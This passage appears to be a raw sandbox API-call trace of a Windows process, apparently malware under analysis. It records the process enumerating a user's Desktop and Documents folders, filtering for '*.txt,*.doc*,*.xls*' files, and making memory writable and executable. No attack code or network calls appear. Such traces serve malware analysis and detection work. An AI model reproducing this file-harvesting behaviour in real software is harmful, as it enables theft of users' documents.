pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.747] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e9b850, ftCreationTime.dwHighDateTime=0x1d5df95, ftLastAccessTime.dwLowDateTime=0x21ed2540, ftLastAccessTime.dwHighDateTime=0x1d5db1a, ftLastWriteTime.dwLowDateTime=0x21ed2540, ftLastWriteTime.dwHighDateTime=0x1d5db1a, nFileSizeHigh=0x0, nFileSizeLow=0x18402, dwReserved0=0x0, dwReserved1=0x0, cFileName="KTfzaI-YcX6xRu.avi", cAlternateFileName="KTFZAI~1.AVI")) returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi") returned 1 [0165.748] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c9ddcf0, ftCreationTime.dwHighDateTime=0x1d5dfda, ftLastAccessTime.dwLowDateTime=0xed56d3a0, ftLastAccessTime.dwHighDateTime=0x1d5d888, ftLastWriteTime.dwLowDateTime=0xed56d3a0, ftLastWriteTime.dwHighDateTime=0x1d5d888, nFileSizeHigh=0x0, nFileSizeLow=0xc434, dwReserved0=0x0, dwReserved1=0x0, cFileName="q1EX.swf", cAlternateFileName="")) returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\KTfzaI-YcX6xRu.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.748] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf") returned 1 [0165.749] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b06a960, ftCreationTime.dwHighDateTime=0x1d5e61b, ftLastAccessTime.dwLowDateTime=0xc41cc570, ftLastAccessTime.dwHighDateTime=0x1d5e301, ftLastWriteTime.dwLowDateTime=0xc41cc570, ftLastWriteTime.dwHighDateTime=0x1d5e301, nFileSizeHigh=0x0, nFileSizeLow=0x14923, dwReserved0=0x0, dwReserved1=0x0, cFileName="zpMSgs.pps", cAlternateFileName="")) returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\q1EX.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.749] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.750] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.750] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.750] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\zpMSgs.pps") returned 1 [0165.750] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b06a960, ftCreationTime.dwHighDateTime=0x1d5e61b, ftLastAccessTime.dwLowDateTime=0xc41cc570, ftLastAccessTime.dwHighDateTime=0x1d5e301, ftLastWriteTime.dwLowDateTime=0xc41cc570, ftLastWriteTime.dwHighDateTime=0x1d5e301, nFileSizeHigh=0x0, nFileSizeLow=0x14923, dwReserved0=0x0, dwReserved1=0x0, cFileName="zpMSgs.pps", cAlternateFileName="")) returned 0 [0165.750] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=2, lpWideCharStr=0x1e7decb8, cchWideChar=2047 | out: lpWideCharStr="30﷈ṽsktop\\\\ṽ") returned 2 [0165.752] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="30", cchWideChar=2, lpMultiByteStr=0x1e7dec94, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30}\x1eÄý}\x1e\x02", lpUsedDefaultChar=0x0) returned 2 [0165.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=8, lpWideCharStr=0x1e7deca8, cchWideChar=2047 | out: lpWideCharStr="Files\\2\\30﷈ṽsktop\\\\ṽ") returned 8 [0165.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd12ac8, cbMultiByte=19, lpWideCharStr=0x1e7deca4, cchWideChar=2047 | out: lpWideCharStr="*.txt,*.doc*,*.xls*\\\\ṽ") returned 19 [0165.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd12b14, cbMultiByte=25, lpWideCharStr=0x1e7deca0, cchWideChar=2047 | out: lpWideCharStr="%USERPROFILE%\\Documents\\\\") returned 25 [0165.753] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\Documents\\\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\Documents\\\\") returned 0x1e [0165.753] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="%USERPROFILE%\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.753] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.txt,*.doc*,*.xls*", cchWideChar=19, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.txt,*.doc*,*.xls*Uxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 19 [0165.753] SysReAllocStringLen (in: pbstr=0x1e7dfa20*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.753] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.753] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\\\", len=0x1d | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1fd12b84*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1fd12b84*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.754] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\*", len=0x1e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\\\*") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\*", len=0x1e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\\\*") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\\\*", psz="C:\\Users\\aETAdzjz\\Documents\\\\*", len=0x1e | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\\\*") returned 1 [0165.755] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\*", len=0x1d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\*") returned 1 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\\\*", psz="C:\\Users\\aETAdzjz\\Documents\\*", len=0x1d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\*") returned 1 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\*", len=0x1d | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\*") returned 1 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\*", psz="C:\\Users\\aETAdzjz\\Documents\\*", len=0x1d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\*") returned 1 [0165.756] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x250c3410, ftLastAccessTime.dwHighDateTime=0x1d5e889, ftLastWriteTime.dwLowDateTime=0x250c3410, ftLastWriteTime.dwHighDateTime=0x1d5e889, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7dfc98*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\.", len=0x1e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\.") returned 1 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\.", len=0x1e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\.") returned 1 [0165.756] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\.", psz="C:\\Users\\aETAdzjz\\Documents\\\\.", len=0x1e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\.") returned 1 [0165.757] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\.", len=0x1d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\.") returned 1 [0165.757] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\.", psz="C:\\Users\\aETAdzjz\\Documents\\.", len=0x1d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\.") returned 1 [0165.757] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\.", len=0x1d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\.") returned 1 [0165.757] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\.", psz="C:\\Users\\aETAdzjz\\Documents\\.", len=0x1d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\.") returned 1 [0165.757] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x250c3410, ftLastAccessTime.dwHighDateTime=0x1d5e889, ftLastWriteTime.dwLowDateTime=0x250c3410, ftLastWriteTime.dwHighDateTime=0x1d5e889, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.757] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\.", psz="C:\\Users\\aETAdzjz\\Documents\\\\..", len=0x1f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\..", len=0x1f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\..", psz="C:\\Users\\aETAdzjz\\Documents\\\\..", len=0x1f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\..", len=0x1e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\..", psz="C:\\Users\\aETAdzjz\\Documents\\..", len=0x1e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\..", len=0x1e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\..") returned 1 [0165.758] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\..", psz="C:\\Users\\aETAdzjz\\Documents\\..", len=0x1e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\..") returned 1 [0165.759] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd471dfa0, ftCreationTime.dwHighDateTime=0x1d5e720, ftLastAccessTime.dwLowDateTime=0x91d2d3f0, ftLastAccessTime.dwHighDateTime=0x1d5e164, ftLastWriteTime.dwLowDateTime=0x91d2d3f0, ftLastWriteTime.dwHighDateTime=0x1d5e164, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="2jc835PfE.rtf", cAlternateFileName="2JC835~1.RTF")) returned 1 [0165.759] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\..", psz="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf") returned 1 [0165.759] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf", len=0x2a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf") returned 1 [0165.759] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf") returned 1 [0165.761] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf") returned 1 [0165.761] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\2jc835PfE.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf") returned 1 [0165.761] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf") returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf") returned 1 [0165.762] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e127c80, ftCreationTime.dwHighDateTime=0x1d597ca, ftLastAccessTime.dwLowDateTime=0xb7ef3080, ftLastAccessTime.dwHighDateTime=0x1d5b7b4, ftLastWriteTime.dwLowDateTime=0xb7ef3080, ftLastWriteTime.dwHighDateTime=0x1d5b7b4, nFileSizeHigh=0x0, nFileSizeLow=0x154b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="6JHWtYVA.docx", cAlternateFileName="6JHWTY~1.DOC")) returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\2jc835PfE.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx", len=0x2a | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx") returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx", len=0x2a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx") returned 1 [0165.762] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\6JHWtYVA.docx", len=0x2a | out: 